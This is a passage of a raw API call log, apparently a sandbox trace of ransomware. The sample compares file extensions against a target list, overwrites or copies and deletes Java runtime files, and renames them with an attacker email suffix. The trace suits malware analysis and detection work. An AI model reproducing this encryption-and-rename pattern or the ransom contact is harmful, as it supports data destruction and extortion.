4 [0091.120] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.120] lstrlenW (lpString=".7z") returned 3 [0091.120] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString=".dbf") returned 4 [0091.120] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString=".1cd") returned 4 [0091.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString=".jpg") returned 4 [0091.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString=".doc") returned 4 [0091.121] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.121] lstrlenW (lpString=".docx") returned 5 [0091.121] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0091.121] lstrlenW (lpString=".pdf") returned 4 [0091.121] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.121] lstrlenW (lpString=".xls") returned 4 [0091.121] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.121] lstrlenW (lpString=".xlsx") returned 5 [0091.121] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0091.121] lstrlenW (lpString=".ppt") returned 4 [0091.121] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.121] lstrlenW (lpString=".zip") returned 4 [0091.121] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.121] lstrlenW (lpString=".rar") returned 4 [0091.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.122] lstrlenW (lpString=".bz2") returned 4 [0091.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.122] lstrlenW (lpString=".7z") returned 3 [0091.122] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.122] lstrlenW (lpString=".dbf") returned 4 [0091.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.122] lstrlenW (lpString=".1cd") returned 4 [0091.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.122] lstrlenW (lpString=".jpg") returned 4 [0091.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.122] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.122] lstrlenW (lpString="jfxwebkit.dll") returned 13 [0091.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.122] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=41503296) returned 1 [0091.122] CloseHandle (hObject=0x390) returned 1 [0091.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0091.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0091.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.123] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0x0) returned 1 [0091.123] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0091.123] ReadFile (in: hFile=0x390, lpBuffer=0x3911058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3911058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0091.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0091.128] ReadFile (in: hFile=0x390, lpBuffer=0x3951058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3951058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0091.130] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.131] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0091.131] ReadFile (in: hFile=0x390, lpBuffer=0x3991058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3991058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0091.495] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.495] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2d5fca8, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fca8*=0xc0106, lpOverlapped=0x0) returned 1 [0091.513] SetEndOfFile (hFile=0x390) returned 1 [0091.931] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e5ba88 [0091.944] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0091.944] WriteFile (in: hFile=0x390, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0091.945] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0091.945] WriteFile (in: hFile=0x390, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0091.945] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0091.945] WriteFile (in: hFile=0x390, lpBuffer=0x3e5ba88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e5ba88*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0091.948] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.503] CloseHandle (hObject=0x390) returned 1 [0092.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.530] lstrlenW (lpString=".doc") returned 4 [0092.530] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.530] lstrlenW (lpString=".docx") returned 5 [0092.530] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.530] lstrlenW (lpString=".pdf") returned 4 [0092.530] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.530] lstrlenW (lpString=".xls") returned 4 [0092.530] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.530] lstrlenW (lpString=".xlsx") returned 5 [0092.530] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.530] lstrlenW (lpString=".ppt") returned 4 [0092.530] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.530] lstrlenW (lpString=".zip") returned 4 [0092.530] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".rar") returned 4 [0092.531] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".bz2") returned 4 [0092.531] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.531] lstrlenW (lpString=".7z") returned 3 [0092.531] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString=".dbf") returned 4 [0092.531] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString=".1cd") returned 4 [0092.531] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString=".jpg") returned 4 [0092.531] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString=".doc") returned 4 [0092.531] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".docx") returned 5 [0092.531] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.531] lstrlenW (lpString=".pdf") returned 4 [0092.531] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".xls") returned 4 [0092.531] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".xlsx") returned 5 [0092.531] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.531] lstrlenW (lpString=".ppt") returned 4 [0092.531] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.531] lstrlenW (lpString=".zip") returned 4 [0092.531] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".rar") returned 4 [0092.531] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.531] lstrlenW (lpString=".bz2") returned 4 [0092.531] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.532] lstrlenW (lpString=".7z") returned 3 [0092.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.532] lstrlenW (lpString=".dbf") returned 4 [0092.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.532] lstrlenW (lpString=".1cd") returned 4 [0092.532] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0092.532] lstrlenW (lpString=".jpg") returned 4 [0092.532] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.532] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.532] lstrlenW (lpString="npjp2.dll") returned 9 [0092.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.533] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=234560) returned 1 [0092.533] CloseHandle (hObject=0x2c4) returned 1 [0092.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0092.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.533] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.533] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0092.535] GetLastError () returned 0x0 [0092.535] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x39440, lpOverlapped=0x0) returned 1 [0092.540] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x39450, lpOverlapped=0x0) returned 1 [0092.554] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.555] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe6, lpOverlapped=0x0) returned 1 [0092.555] SetEndOfFile (hFile=0x390) returned 1 [0092.555] CloseHandle (hObject=0x390) returned 1 [0092.555] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.555] SetEndOfFile (hFile=0x2c4) returned 1 [0092.558] CloseHandle (hObject=0x2c4) returned 1 [0092.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.558] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0092.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.559] lstrlenW (lpString=".doc") returned 4 [0092.559] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString=".docx") returned 5 [0092.559] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0092.559] lstrlenW (lpString=".pdf") returned 4 [0092.559] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString=".xls") returned 4 [0092.559] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString=".xlsx") returned 5 [0092.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0092.559] lstrlenW (lpString=".ppt") returned 4 [0092.559] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.559] lstrlenW (lpString=".zip") returned 4 [0092.559] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString=".rar") returned 4 [0092.559] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.559] lstrlenW (lpString=".bz2") returned 4 [0092.559] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.559] lstrlenW (lpString=".7z") returned 3 [0092.559] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.559] lstrlenW (lpString=".dbf") returned 4 [0092.560] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".1cd") returned 4 [0092.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".jpg") returned 4 [0092.560] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".doc") returned 4 [0092.560] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString=".docx") returned 5 [0092.560] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0092.560] lstrlenW (lpString=".pdf") returned 4 [0092.560] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString=".xls") returned 4 [0092.560] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString=".xlsx") returned 5 [0092.560] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0092.560] lstrlenW (lpString=".ppt") returned 4 [0092.560] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".zip") returned 4 [0092.560] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString=".rar") returned 4 [0092.560] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.560] lstrlenW (lpString=".bz2") returned 4 [0092.560] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.560] lstrlenW (lpString=".7z") returned 3 [0092.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".dbf") returned 4 [0092.560] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.560] lstrlenW (lpString=".1cd") returned 4 [0092.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56 [0092.561] lstrlenW (lpString=".jpg") returned 4 [0092.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.561] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.561] lstrlenW (lpString="policytool.exe") returned 14 [0092.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.561] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=16448) returned 1 [0092.561] CloseHandle (hObject=0x2c4) returned 1 [0092.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0092.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.562] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.562] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0092.562] GetLastError () returned 0x0 [0092.562] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.564] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.565] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.566] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf0, lpOverlapped=0x0) returned 1 [0092.566] SetEndOfFile (hFile=0x390) returned 1 [0092.566] CloseHandle (hObject=0x390) returned 1 [0092.566] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.566] SetEndOfFile (hFile=0x2c4) returned 1 [0092.567] CloseHandle (hObject=0x2c4) returned 1 [0092.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.567] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0092.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".doc") returned 4 [0092.568] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.568] lstrlenW (lpString=".docx") returned 5 [0092.568] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0092.568] lstrlenW (lpString=".pdf") returned 4 [0092.568] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString=".xls") returned 4 [0092.568] lstrcmpiW (lpString1=".xls", 